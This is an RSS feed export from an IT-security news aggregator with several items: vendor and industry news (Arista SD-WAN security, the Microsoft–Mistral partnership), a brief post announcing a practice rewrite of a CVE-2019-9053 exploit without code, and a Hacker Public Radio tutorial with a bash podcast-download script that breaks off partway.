Governance is the brakes that let you drive fast safely. When a CSO and CEO are aligned on that principle, the organization can innovate with AI while maintaining oversight and protecting against unnecessary risk. The result is an organization that does not just react to threats but builds resilience into how it operates.

9. Set clear goals and measure progress

Setting clear goals and measuring progress against those goals is essential. When expectations are clear, the areas you need to focus on become much clearer. It doesn’t solve every problem, but aligning early with your leadership, whether that’s a CEO or a CIO, can significantly reduce the pressure you may feel.

Also, never let your boss be surprised. This is where being clear on goals and consistently tracking both leading and lagging metrics becomes especially important, particularly in a direct reporting relationship with the CEO.

10. Be willing to endure challenge and discomfort

Finally, persistence and a willingness to endure discomfort for something that matters more than the pain itself are critical to surviving in this relationship. The role of a cybersecurity leader is often thankless. If you’re doing your job well, no one really notices.

]]> <![CDATA[Arista debuts unified SD-WAN edge platform]]> https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/ https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/ Wed, 22 Jul 2026 05:40:32 +0200 📰 IT Security Nachrichten tsecurity.de

Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.

The company announced AI-driven Edge Threat Management (ETM) for VeloCloud SD-WAN, a platform that links typically separate products and capabilities including Arista’s next-generation firewall, IP reputation, external blocklists, intrusion prevention, URL filtering, application classification, geo-IP filtering, network address translation, deep packet inspection, and zone-based segmentation.

ETM provides perimeter protection at the WAN edge and is a software upgrade option to VeloCloud SD-WAN, according to Arista. It can help simplify branch operations with a common operating system, a uniform enforcement engine, and common end-to-end security policies, the vendor stated. The new ETM solution also leverages Arista’s AVA (Autonomous Virtual Assist) for AI-driven policy intelligence.

“Multi-vendor branch complexity creates the ultimate blind spot, and your adversaries are actively hiding in it,” wrote Brendan Gibbs, Arista’s vice president, AI, routing, and switching platforms, in a blog post about the new platform.

Sprawling multi-vendor infrastructure creates operational headaches and increases security risks, according to Gibbs. “When you have four or five different point solutions from different vendors stacked on top of each other, configuring them becomes a manual, disjointed process. In fact, industry data shows that up to 95% of network changes are still performed manually, which inevitably leads to configuration mistakes, the single biggest driver of network downtime and security policy gaps,” he wrote. 

“When security policies are decoupled from local network routing, critical blind spots emerge. An attacker doesn’t need to break your cloud-delivered SASE firewall; they just need to target the unmonitored local traffic gaps between your Wi-Fi AP, your LAN switch, and your SD-WAN edge router,” Gibbs wrote.

ETM is integrated into VeloCloud Orchestrator as a dedicated enterprise application. “This enables security operators to configure policies that build on the same source of shared network configuration while maintaining a dedicated management console for security policy configuration, provisioning, and reporting,” Arista stated.

ETM security policies are managed in VeloCloud Orchestrator. “Admins can build and assign reusable policies consisting of predefined objects and templates. This design makes updating security policies possible by a few simple clicks, while the associated changes are propagated throughout the network within minutes,” Arista stated.

VeloCloud Orchestrator is the central management, configuration, and monitoring hub for VeloCloud SD-WAN and SASE networks.

In addition, VeloCloud edge routers collect threat intelligence data from a variety of sources to determine in real-time the trustworthiness and identity of hosts inside and outside the network. Through integration with Arista Network Detection and Response and other web-based dynamic lists, administrators can identify suspicious hosts and build policies to block potentially harmful activities, the vendor stated.

Integration with Arista’s AVA policy assistant is aimed at simplifying management of branch security policies. AVA continuously analyzes configuration states and translates complex, multi-site security rules into plain English, Gibbs explained. For example, NetOps administrators can use AI with Ask AVA to predict “how specific traffic will be handled before committing to a deployment, preventing manual configuration errors that leave branches exposed,” Gibbs wrote.

Arista also touted support for network-wide segmentation policies. “The flexible security policy configuration within the Edge Threat Management policy management extends the security coverage from the data center to the branch,” the vendor stated. “Security operations administrators can build access policies that are enforced across a distributed network. The centralized design enables admins to configure and deploy consistent zone based policies across the entire distributed network.”

ETM is a significant addition to the Arista VeloCloud portfolio. Arista bought the VeloCloud SD-WAN platform from Broadcom a year ago and has been promising new technologies that expand the platform. ETM also could further the vendor’s stated plans to expand beyond its data center networking roots and compete more broadly with enterprise networking vendors such as Cisco, Palo Alto Networks, and Fortinet.

In the SASE and SD-WAN world, vendors such as Cisco, Palo Alto, Fortinet, Cato Networks, and Versa Networks are among the most balanced suppliers, with both SD-WAN and SSE contributing meaningful revenue streams, according to a recently published report from Dell’Oro Group.

“We forecast that SASE will remain on a double-digit growth path in 2026, with SSE-first rollouts remaining the most common entry point, and SD-WAN supported by branch modernization, software attach, and branch security refresh,” Dell Oro stated.

“AI is changing the SASE discussion from access and inspection to governance, data protection, and control over agents and machine traffic,” Mauricio Sanchez, senior director, enterprise security and networking at Dell’Oro Group, stated in the report. “A 21 percent Y/Y quarter shows that SASE is not waiting for a future AI refresh cycle; it is already absorbing the early security and networking requirements created by AI adoption,” Sanchez added.

ETM for VeloCloud SD-WAN will be available in Q4 of 2026 and will be available for all current VeloCloud hardware and virtual edge platforms.

]]> <![CDATA[CVE-2019-9053 exploit rewritten in Python 3 as a personal practice project]]> https://tsecurity.de/de/3685149/malware-trojaner-viren/cve-2019-9053-exploit-rewritten-in-python-3-as-a-personal-practice-project/ https://tsecurity.de/de/3685149/malware-trojaner-viren/cve-2019-9053-exploit-rewritten-in-python-3-as-a-personal-practice-project/ Wed, 22 Jul 2026 04:37:30 +0200 ⚠ Malware / Trojaner / Viren tsecurity.de

Hello everyone!

I want to share a small Python script I wrote. It is inspired by the exploit 46635 on Exploit-DB for CVE-2019-9053 (a time-based SQL Injection in CMS Made Simple).

I decided to write my own version when I was doing the SimpleCTF room on TryHackMe. I wanted to update the code to Python 3. I also wanted to make this new version more interactive and easy to use. So, I added a clean command line interface and some extra features (like different extraction modes, delay controls, and email alerts using environment variables).

Please try it and tell me what you think! I would love to hear your feedback and ideas to make it better.

https://github.com/rgkue/mysqli

Happy hacking! :D

submitted by /u/rgkue
[link] [comments]]]> <![CDATA[Microsoft doubles down on sovereign AI with expanded Mistral partnership]]> https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/ https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/ Wed, 22 Jul 2026 04:03:03 +0200 📰 IT Nachrichten tsecurity.de

Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. 

The companies have announced a “significant expansion” of their strategic partnership, which includes a multibillion dollar commitment from Microsoft. Mistral will add to its GPU infrastructure in Europe and extend access to its frontier multilingual models, while Microsoft will expand its sovereign cloud capabilities. The companies will also align on a joint go-to-market plan and will pursue enterprise opportunities together across Europe and globally, as well as funding proofs of concept (PoCs), offering Azure credits, and leading workshops to drive AI innovation with customers.

The partnership between the tech giant and the three-year-old French startup might seem an odd combination at first glance, analysts note, as both develop enterprise AI models and offer access as-a-service. But it reflects changing AI market dynamics.

“It’s possible to be both a competitor and a partner at the same time,” noted technology analyst Carmi Levy. Large cloud providers are becoming AI marketplaces in their own right, he pointed out, and are drifting away from exclusively promoting their own models. Building Mistral support into their infrastructure avoids platform lock-in and removes a “key objection for customers looking for options.”

“As much as Microsoft would want everybody standardizing on Copilot and Phi, it recognizes the simple fact that customers increasingly want to choose their own models,” said Levy.

Expands model access, sovereign cloud capabilities

As part of the agreement, Mistral will expand its Europe-based capacity with thousands of Nvidia Vera Rubin GPUs.

Mistral CEO and co-founder Arthur Mensch described a “slight gap” in compute capacity in Europe, noting that this expansion will provide more compute capability and support Microsoft’s cloud and AI services, providing a “shared platform for training, inference and large-scale deployment.” The companies call it a critical step to allow Microsoft customers to benefit from Mistral’s “scientific and compute innovations.”

In addition, Mistral Medium 3.5 and OCR 4 models are now available in Microsoft Foundry, and Mistral Medium 3.5 can be used in Microsoft Copilot Studio.

The partnership also extends Microsoft’s sovereign cloud infrastructure as well as combining Mistral’s frontier models with Microsoft’s security, compliance, and cloud-to-edge platform. This gives enterprises, particularly those in regulated markets, the ability to deploy AI where they see fit, while maintaining control over their data and workloads, according to the companies.

Further, customers will be able to build AI using the same models, tools, APIs, and workflows they’re used to, across Microsoft Foundry, Foundry Local, and Azure Local, and opt for fully Azure-hosted cloud environments; cloud-connected, controlled Azure Local environments that only use cloud-based Azure when necessary; and fully-disconnected environments that can operate independently for more sensitive scenarios.

“Europe should have access to the world’s most capable AI without compromising control over their data, operations or digital future,” said Brad Smith, vice chair and president, Microsoft, noting that with this partnership, the company is honoring its European digital commitments and giving customers a foundation for AI so they can “operate on their own terms.” Customers with “heightened sovereignty needs” will be able to exercise more control with “resilience and assurance” and continued access to Mistral’s open-weight models.

Enterprise credibility

Gartner distinguished VP analyst Arun Chandrasekaran noted that there’s no doubt that this agreement strengthens Microsoft’s sovereignty messaging and its position in regulated industries, and the tech giant benefits by expanding its AI portfolio with a “credible European frontier model provider”

He pointed to key differences from the initial partnership struck by the two companies in 2024; whereas originally Microsoft was hosting Mistral’s models, it is now consuming capacity built by Mistral in Europe.

Ultimately, the deal emphasizes European data centers, customer-controlled deployments, Azure Local, and fully-disconnected environments, addressing many of the concerns that surrounded the original Azure cloud only relationship, Chandrasekaran explained.

For Mistral, the partnership provides “enterprise credibility, and repeatable infrastructure revenue” that can fund continued AI platform development, he said. The combination of Microsoft’s enterprise AI platform with Mistral’s models and European AI infrastructure will give joint customers more deployment flexibility and expand options around data residency, sovereign AI deployments, and disconnected/on-premises environments.

“It also gives customers more model choice, reducing dependence on a single AI provider,” said Chandrasekaran.

A complementary partnership

Mistral continues to innovate with its frontier AI models and its chat and coding agent, Vibe (formerly Le Chat), yet it doesn’t attract as much attention as Claude or ChatGPT.

One of the company’s key differentiators is its targeted business model. Levy pointed out that not every workload requires “full-flight GPT.” For customers trying to rein in costs and limit exposure with on-premises deployments, Mistral’s “more focused capabilities can represent a cost-effective alternative.”

Chandrasekaran pointed to Mistral’s combination of high-performance open-weight models, strong multilingual capabilities, and a “focus on efficient inference that lowers deployment costs.”

Unlike many frontier AI companies, it offers customers greater flexibility to self-host and customize models; this makes it particularly attractive for enterprises and governments with sovereignty or regulatory requirements, he said. Its European roots also position it as the leading alternative for organizations seeking cutting-edge AI outside the US and Chinese ecosystems.

Bill Wong, research fellow at Info-Tech Research Group, also pointed to Mistral’s high-quality models and “adeptness as a sovereign AI leader.” There is growing demand for AI companies that comply with regional laws and data residency, and Mistral is established as “one of the most prominent European players.”

“Such a strategic position makes it a great partner for Microsoft to further expand its AI offerings beyond just being a single-model provider,” he said. Customers get freedom of choice while complying with data sovereignty and regulatory limitations without having to execute a separate AI deployment, while Mistral, for its part, can go beyond Europe and gain more visibility with international businesses.

Mistral brings both “technological and political advantages,” Levy noted. The startup’s European roots give Microsoft more credibility “at a fraught time for geopolitical relationships.” Customers in Europe and beyond are concerned about US exposure, and Mistral can provide a safer choice.

Meanwhile, Microsoft can deploy European-developed AI models running on European infrastructure, thus maximizing regulatory compliance while offering next-level enterprise marketing scale that Mistral “simply couldn’t achieve on its own,” said Levy. Mistral-based workloads deployed on Azure will also benefit from Microsoft’s “comprehensive security certifications, governance frameworks, and monitoring.”

Bottom line: Both companies can maximize their unique roadmaps through the partnership, he said. “As the rules of the AI economy continue to evolve, expect more eyebrow-raising deals like this to be signed.”

]]> <![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]> https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/ https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/ Wed, 22 Jul 2026 02:06:46 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Clean by the host.

01 Introduction

In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget.

I will illustrate this using a bash script that can be used to download HPR podcasts.

Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.

It is the principles that are discussed here that are important, rather than the implementation.

02

I realize that there are already a number of different podcast download programs available, including at least one written in bash.

However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.

If so, then I hope the following is of some use to you.

If not, then you may still find some of the things discussed here to still be of interest.

Some of the subjects I cover include

wget to a user defined file name.

parsing xml with xmllint.

using inotifywait to trigger an action when a file is created or modified.

using notify-send to send a message to the notification area.

and

a way of allowing a cron job to send a message to the user interface.

03 Background

There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes.

Apparently some people have been experiencing problems with the way the episode URLs are structured.

04

I am afraid that I don't fully understand the nature of these problems, so I won't be addressing that problem directly.

Instead, I will present a bash script that I have written which can be used to download HPR podcasts.

This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.

This is a simplified version of a script that I have used for years to download HPR and other podcasts.

05

I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.

I will instead describe what each section does and why I chose to do things that way.

Perhaps other people can offer suggestions of better ways to do things.

I will post the full bash script in the show notes.

06 Fetching Podcasts

The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.

RSS is a very long established and widely supported mechanism for this and other purposes.

An RSS feed is basically an XML document which can be accessed over HTTP.

These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.

07

Basically what we need to do is the following

‱ Download the RSS XML document.

‱ Extract the URL links to the audio files.

‱ Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.

08

‱ Make a list of the new URLs.

‱ Go through this list of new URLs and download each of the new audio files.

‱ Check to see that we actually received the new audio file.

‱ Add the URLs of the files we successfully downloaded to our saved list of podcast URLs

09

In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.

We may wish to receive a notification of when a new podcast has arrived however.

We would probably also wish to receive notification of any errors or failures.

10 Fetching Podcasts - The Preliminaries

Our desire to be able to run the script automatically imposes some requirements on our solution.

To schedule the script we will use cron.

Cron is a Linux facility to run scripts on a schedule.

11

One of the side effects of using cron however is that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.

12

So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.

I will skip over the details of these, although I may make reference to them later.

13 Get the RSS Data

The first thing of real substance to do is to fetch the current RSS feed data.

I have put this in a bash function called getrssurldata

The contents of this function are a one liner, but with a number of elements chained together through pipes.

14 Downloading the RSS XML Document

‱ First we use wget, which is a standard command on most Linux distros.

‱ We specify four things.

‱ First we set a timeout. I have chosen 20 seconds.

‱ Next we set the retry limit. I have chosen 3.

15

‱ Then we specify that the output of wget is sent to stdout rather than saved as a file.

‱ This is done by using the -O option followed by a space and then a dash.

‱ The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.

‱ Then we specify the URL of the HPR RSS feed.

16 Contents of the XML Document

This gives us the HPR RSS XML document.

There are about 5,000 lines in this RSS document.

Most of those lines are the show notes which are also included in the feed.

17 Extracting the Podcast Episode URLs

There are only 10 lines of the document that contain information that we are interested in however.

These lines are enclosed in "enclosure" XML tags.

We just need to find those lines and separate out the URLs

18 Standard Command Line Tools

There are two ways that we can do this.

One is to use a combination of grep, sed, and cut.

Grep can find the lines containing the enclosure tags.

Sed and cut can extract the URL from the surrounding extraneous data.

19

However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.

This may be an acceptable problem in practical terms, but we can do better.

20 Using an XML Parser

The other method is to actually parse the XML document.

there are at least two command line XML parsers that I am aware of.

These are "xmllint", and "xlmstarlet".

I have used xmllint in this example.

I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.

21

I won't give a detailed explanation of all the things that xmllint can do.

It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.

Describing everything it can do would be at least one episode in itself.

I will instead just give the particular command used and explain each element of it.

22

In this example assume that we are piping the output of wget directly into xmllint.

The complete command is

xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2

23

In this example,

xmllint is the name of the command.

--xpath tells it to parse the document according to the string which follows.

"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.

The "-" which follows tells it to look for input from stdin rather than from a file.

24

The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.

To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.

We then save the result in a temporary file.

25 Finding the New Episodes

Next we wish to find the new podcast episodes.

Each HPR episode is identified by a unique URL.

This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.

https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3

26

The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.

27

This is simple, but has a drawback.

Some podcasts occasionally change distributors.

When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.

28

With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.

I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.

Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.

It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific.

29 Downloading the New Podcasts

We should now have a list of URLs for the new podcasts we do not already have.

Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.

Therefore, we need to iterate through the file of new podcast URLs and download each one.

30

Before we do that however, we should check to see if there is in fact anything new to download.

To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.

31

If this number is zero, there is nothing to download, we can skip the download step.

As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.

This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.

If we do exceed our download limit, then we need to log an error and skip downloading.

32

Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.

We can do that using the "basename" command.

We will use this to specify the name that we use when we save the audio file.

33

HPR has a very well formed file name.

Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp.

34

Next we download the audio file using wget.

This is similar to how we downloaded the RSS feed, but with a few changes.

One is that I have increased the timeout to 90 seconds.

This may not have been necessary, but seemed like a good idea.

35

The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.

The third is that we specify a destination directory using the -P option.

36

After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.

We did this using an "if" statement with the "-s" option.

If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.

37

If the file was not present, or was zero length, we output an error message to an error log.

I will come back to this point later.

38

Next, if there is more that one podcast to download we sleep for 3 seconds.

While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..

39

After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.

While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.

This limit should be several times bigger than the number of files in the RSS feed.

In this case I selected 50.

40

Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.

We have now successfully downloaded at least one HPR podcast.

41 Notify the User of Events

It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.

One of the limitations of cron jobs is that they cannot access the user interface.

This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.

42 inotifywait

The solution to this is to use "inotifywait" to monitor particular files and directories for changes.

The man page for inotifywait states the following -

43

inotifywait efficiently waits for changes to files using Linux's inotify(7) interface. It is suitable for waiting for changes to files from shell scripts. It can either exit once an event occurs, or continually execute and output events as they occur.

End of quote.

44

In many Linux distros, inotifywait is provided by the "inotify-tools" package.

I won't go over all the features of inotifywait.

Instead, I will just describe how to use it for our purposes here.

45 inotifywait Modes

I should point out first though that inotifywait operates in two different modes.

In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.

In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.

I will use the default mode here.

46

The man page for inotifywait provides a simple example that we could copy and modify for our purposes.

A great many examples that you will find are based on this example.

However, it doesn't quite do what we want, so we need to change a few things.

47 podfetchnotify

The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.

I will call this "podfetchnotify".

The complete scripts are in the show notes, I will just provide a brief description here.

48 Setting Up Event Watches Using inotifywait

The script is enclosed in a while loop which run indefinitely.

In the first line inside the while loop, we call inotifywait.

inotifywait will then block until the event it is told to look for occurs.

In short, execution of the script will wait there until an event occurs.

49

The names of the events are listed in the man file.

In this case we are looking for "modify", "create", and "moved_to".

Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.

50 Problems When Testing Using Text Editors

I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would.

Instead it treats this as a new file with the same name, with the original file being erased.

Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.

If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.

51 Capturing Output

In my example I capture the output from standard out into a variable, but I don't do anything with it.

If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code.

There are details about this in the man page.

On the next line we capture the exit code using "$?"

52 Responding to Exit Codes

If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.

In this case we display a message indicating that a new podcast has arrived.

I will describe how to send notifications shortly.

If the exit code was not zero, then an error occurred.

An example of such an error would be if the directory were not present when monitoring was started.

In this case we display a message indicating that a fatal error has occurred and then exit.

53 Delay for More Podcasts

Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.

In this case I chose to wait for 60 seconds.

54

We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.

55 Sending Notifications to the User

I mentioned above about sending notification messages to the user.

In the Gnome desktop, notification messages appear from the centre of the top bar in a list.

Other desktops or operating systems may have something similar.

56

To send a notification message to the notification area, you use the "notify-send" command.

Simply follow notify-send with a quoted string and it will be displayed in the notification area.

57 podfetcherrornotify

The second shell script is one which notifies the user of errors.

I will call this "podfetcherrornotify".

With this shell script we set up a watch on a file which contains any error messages from podfetch.

This script is very similar to podfetchnotify.

58

The exceptions are

With inotifywait we only monitor for "modify".

There is no sleep command at the end of the loop.

Instead we sleep for a few seconds just after getting the exit code from inotifywait.

This helps prevent problems caused by race conditions.

59

Next we check the inotifywait exit code.

If it was zero, then we read the error report file and send a notification message to the user containing that error message.

60

If it was not zero, then we check to make sure that the directory that should contain the error log exists.

If it does not exist, then we send a notification message to that effect to the user and terminate the script.

61

If the directory exists, then we check to see if the error message file used for signalling exists.

If the file does not exist, then we create it.

62

One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.

By creating the file we correct the cause of the error and allow inotifywait to operate normally.

63

Finally we increment an error counter and check to see if the limit is exceeded.

If there are excessive errors, then send a notification message to the user and exit.

The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.

64

The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.

Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment.

65 Installing the Scripts

Next I will describe how to install and prepare the scripts to run.

We need to perform the following steps.

66

‱ First, we need to create a directory to hold the scripts and their associated data files.

‱ Next we need to create a directory to hold the downloaded podcasts.

‱ Then we must copy the scripts to these directories and make them executable.

‱ Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.

67

‱ Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.

‱ Then we need to run each script manually from the command line to check for errors.

‱ If podfetch ran correctly, it should download the most recent 10 podcasts during this test.

68 Adding podfetch to the Crontab

The above describes how to run the scripts manually.

In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.

To do this, open a terminal.

69

Type "crontab -e", and then press return.

A text editor should open up containing the crontab file.

On Ubuntu, this editor is GNU nano.

Enter the appropriate cron parameters.

I will provide an example here for running it 12 minutes past the hour every three hours.

70

12 */3 * * * /home/username/pathtofiles/podfetch.sh

71

I won't explain cron in detail here.

The example that I have just given should be good enough for most people.

The "*/3" parameter will cause it to run every three hours.

The "12" parameter will cause it to run 12 minutes past the hour when it does run.

72

Checking every three hours should be good enough for most people, but you can adjust that as you see fit.

I would recommend however that you don't check more frequently than once per hour.

Checking more frequently than necessary puts extra load on the distribution servers.

It is very unlikely that you really do need each new episode the moment it is available.

73

I would also recommend changing the "12" parameter to some other random minute value.

I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.

74

The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.

75 Making the Notification Scripts Start Automatically

The two notification scripts can be made to start automatically.

The exact method to do this may vary according to distribution or desktop.

76

On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.

77

I won't go into details on this here, it should be fairly self evident how to use it once you see it.

What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.

78

These ".desktop" files are all run automatically on start up.

Once you have added the notification scripts, you will need to log out and then log back in to make them active.

79 Conclusion

I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival.

80

The download script described here is tailored specifically for use with HPR only.

However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.

If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.

81

In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.

I look forward to seeing you again later on another episode of Hack Public Radio.

# ======================================================================

podfetchdownloader

#!/bin/bash

# Fetch pending HPR podcasts listed in the HPR RSS feed.

# 8-Jun-2026

# Licensed under GPLv3 or later.

# ======================================================================

# Today's date and time as YYYYMMDDHHMMSS.

podttimestamp=$( date +"%Y%m%d%H%M%S" )

# The absolute path to the script. This is necessary when running it

# using a cron job.

podpath="/home/me/Apps/hprfetch"

# This is the absolute path to where to store the podcast files.

podfilepath="/home/me/Music/Podcasts/HPR"

# Create the full path names here for all the text files used.

podcastsfetched="$podpath/podcastsfetched.txt"

poderrorslog="$podpath/poderrorslog.txt"

poderrorsreport="$podpath/poderrorsreport.txt"

tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"

tmppodsnew="$podpath/tmppodsnew.txt"

tmppodstodownload="$podpath/tmppodstodownload.txt"

tmppodserrors="$podpath/tmppodserrors.txt"

tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"

tmplog="$podpath/tmplog.txt"

# The URL for the HPR RSS feed.

PodURL="http://hackerpublicradio.org/hpr_rss.php"

# Limit on number of podcasts to download.

DownloadLimit=11

# Name of the podcast.

PodName="Hacker Public Radio"

# ======================================================================

# Check if the required paths exist.

# If this path does not exist, cannot log the error.

if [[ ! -d "$podpath/" ]]; then

echo "$podttimestamp Error - Could not find $podfilepath."

exit 1

fi

# Where to store the podcast file fetched.

if [[ ! -d "$podfilepath/" ]]; then

echo "$podttimestamp Error - Could not find $podfilepath." >> $tmppodserrors

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors

exit 1

fi

# ======================================================================

# Check if the podcast log exists. We read it before we write to it,

# so it must exist or we will hang on it not being present.

if [[ ! -e $podcastsfetched ]]; then

touch $podcastsfetched

fi

# ======================================================================

# Delete the specified files if they exist.

# This accepts multiple file names in a variable number of parameters.

CleanupFiles ()

{

# $@ accepts multiple parameters.

for f in "$@"; do

# Check if the file exists.

if [ -e "$f" ]; then

rm "$f"

fi

done

}

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors () {

if [ -e $tmppodserrors ]; then

# The permanent log.

cat $tmppodserrors >> $poderrorslog

# This file is monitored for display by other scripts.

cat $tmppodserrors > $poderrorsreport

fi

}

# ======================================================================

# Get the URL data from an RSS feed

GetRSSURLData () {

wget --timeout=20 --tries=3 -O - "$PodURL" \

| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \

| sort > $tmppodsnew

# This is an alternate method that does not use xmllint.

# However, it is not as robust. If someone were to include the

# first grep search pattern in their show notes, then it would

# look for that as a valid tag and output the following text

# as a URL.

#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "<enclosure url=" \

# | sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \

# | cut -d'"' -f2 | sort > $tmppodsnew

}

# ======================================================================

# Find which podcasts we do not already have.

FindNewPodcasts () {

cat $podcastsfetched | sort > $tmpoldurlssorted

comm -13 $tmpoldurlssorted $tmppodsnew > $tmppodstodownload

rm $tmpoldurlssorted

}

# ======================================================================

# Download the podcasts.

DownloadPodcasts() {

# Clear out previous temporary list of downloaded podcasts.

true > $tmppodcastsfetched

for i in $( cat $tmppodstodownload )

do

# Extract the file name from the URL.

fname=$( basename $i )

outputpodname="$podfilepath/$fname"

# Download the file.

wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"

# Check if the file exists and is not empty.

if [[ -s "$outputpodname" ]]; then

echo $i >> $tmppodcastsfetched

else

echo "$podttimestamp Error - $outputpodname was not found or is empty." >> $tmppodserrors

fi

# Delay a reasonable length of time between multiple downloads.

if (( $PodCount > 1 )); then

sleep 3

fi

done

# Add the list of files downloaded to the log.

# Check if the list exists and is not empty.

if [ -s $tmppodcastsfetched ]; then

cat $tmppodcastsfetched >> $podcastsfetched

# Trim the log file to keep it from growing indefinitely.

tail -n50 $podcastsfetched > $tmplog

mv $tmplog $podcastsfetched

fi

# Remove the tmp file now that we are done with it.

rm $tmppodcastsfetched

}

# ======================================================================

# Clean up any left over files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# Get the RSS data.

GetRSSURLData

# Find which podcasts are new.

FindNewPodcasts

# Count how many new podcasts there are.

PodCount=$( cat $tmppodstodownload | wc -l )

# If no podcasts to download, skip this.

# If too many podcasts for this feed, then log an error and skip.

# This error will keep repeating until something is done about it.

if (( $PodCount > 0 )); then

if (( $PodCount > $DownloadLimit )); then

